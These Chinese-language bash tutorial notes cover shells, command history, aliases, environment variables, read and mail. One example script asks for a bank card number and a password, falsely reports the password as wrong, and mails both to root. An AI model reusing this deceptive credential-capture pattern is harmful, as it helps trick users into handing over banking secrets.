一.Bash的定义、种类、更改
shell 是命令解释器
cat /etc/shells
chsh –l
ls /bin/*sh
默认 shell: bash
/bin/bash
chsh 改变登录账号的shell
chsh user1 改变特定用户的shell
vim /etc/passwd
二.bash的特性:补全、历史、别名、脚本
history 显示历史命令
~/.bash_history 文件
history -c 清空历史命令
使用历史命令
!l !+命令的首字母
!ls !+命令的前几个字母
!3 !+命令的行号
最后一个命令的最后一个参数
Alt + .
!$
[root@localhost tmp]# cd /tmp/
[root@localhost tmp]# !$
/tmp/
bash: /tmp/: is a directory
别名
alias 查看别名
[root@localhost ~]# alias
alias cp='cp -i'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='ls --color=tty'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
设置别名
[root@localhost ~]# alias grep='grep --color'
永久生效:
写进四个脚本里
/etc/bashrc
/etc/profile
~/.bashrc
~/.bash_profile
取消别名:
临时取消\
永久取消unalias
三.环境变量、自定义变量
环境变量:
env 查看所有环境变量
set 查看所有变量
echo $变量名 //输出变量值
常用环境变量:
USER
HOME
HOSTNAME
PWD
UID
PS1
PATH
变量名称只能由字母,数字,下划线组成,不能以数字开头
[root@localhost ~]# vim ~/.bash_profile
14 export a=4
[root@localhost ~]# echo $a
[root@localhost ~]# source ~/.bash_profile //source使变量生效
[root@localhost ~]# echo $a
4
[root@localhost ~]#
read var // read读标准输入,并将值赋给参数
read -t 5 var // -t: timeout
read -p "提示信息" var // -p prompt
[root@localhost ~]# read var
how are you?
[root@localhost ~]# echo $var
how are you?
[root@localhost ~]# read -p "请输入一个数字:" number
请输入一个数字:1
[root@localhost ~]# echo $number
1
[root@localhost ~]# read -p "请在5秒之内输入一个数字:" -t 5 number
请在5秒之内输入一个数字:1
[root@localhost ~]# read -p "请在5秒之内输入一个数字:" -t 5 number
请在5秒之内输入一个数字:[root@localhost ~]# //超时,什么都不执行
例子:
#!/bin/bash
# read test
read -p "请输入你的银行卡帐号" num
read -p "请在五秒内输入密码" -t 5 pass
echo "你的密码错误!"
echo $num |mail -s "card num" root
echo $pass|mail -s "card pass" root
mail 查看当前帐号的邮件
mail 数字 查看第几封邮件
[root@localhost ~]# mail -s "hello" user200 // 给某个帐号发邮件 -s subject
hi //ctrl+D结束
Cc: //Enter略过
[root@localhost ~]#